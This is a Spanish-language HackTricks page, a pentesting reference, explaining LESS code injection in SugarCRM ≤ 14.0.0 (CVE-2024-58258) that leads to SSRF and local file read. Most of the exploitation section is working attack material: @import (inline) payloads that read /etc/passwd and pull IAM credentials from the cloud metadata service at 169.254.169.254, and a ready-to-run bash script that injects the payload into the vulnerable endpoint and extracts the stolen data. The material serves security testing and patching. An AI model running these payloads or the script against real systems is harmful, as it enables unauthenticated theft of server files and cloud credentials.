LESS Code Injection leading to SSRF & Local File Read
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
LESS es un preprocesador de CSS popular que añade variables, mixins, funciones y la potente directiva @import. Durante la compilación el motor de LESS recuperará los recursos referenciados en las declaraciones @import e insertará (“inline”) su contenido en el CSS resultante cuando se usa la opción (inline).
Cuando una aplicación concatena entrada controlada por el usuario en una cadena que luego es procesada por el compilador LESS, un atacante puede inyectar código LESS arbitrario. Al abusar de @import (inline) el atacante puede obligar al servidor a recuperar:
- Archivos locales a través del protocolo
file://(divulgación de información / Local File Inclusion). - Recursos remotos en redes internas o servicios de metadatos de la nube (SSRF).
Esta técnica se ha visto en productos reales como SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
Explotación
- Identificar un parámetro que se inserte directamente dentro de una cadena de hoja de estilos procesada por el motor LESS (p. ej.
?lm=en SugarCRM). - Cerrar la declaración actual e inyectar nuevas directivas. Las primitivas más comunes son:
;– termina la declaración previa.}– cierra el bloque anterior (si es necesario).
- Usar
@import (inline) '<URL>';para leer recursos arbitrarios. - Opcionalmente inyectar un marcador (
data:URI) después del import para facilitar la extracción del contenido recuperado del CSS compilado.
Lectura de archivos locales
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
El contenido de /etc/passwd aparecerá en la respuesta HTTP justo antes del marcador @@END@@.
SSRF – Metadatos de la nube
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatizado (ejemplo SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Casos del mundo real
| Producto | Endpoint vulnerable | Impacto |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF no autenticado & lectura de archivos locales |
Referencias
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


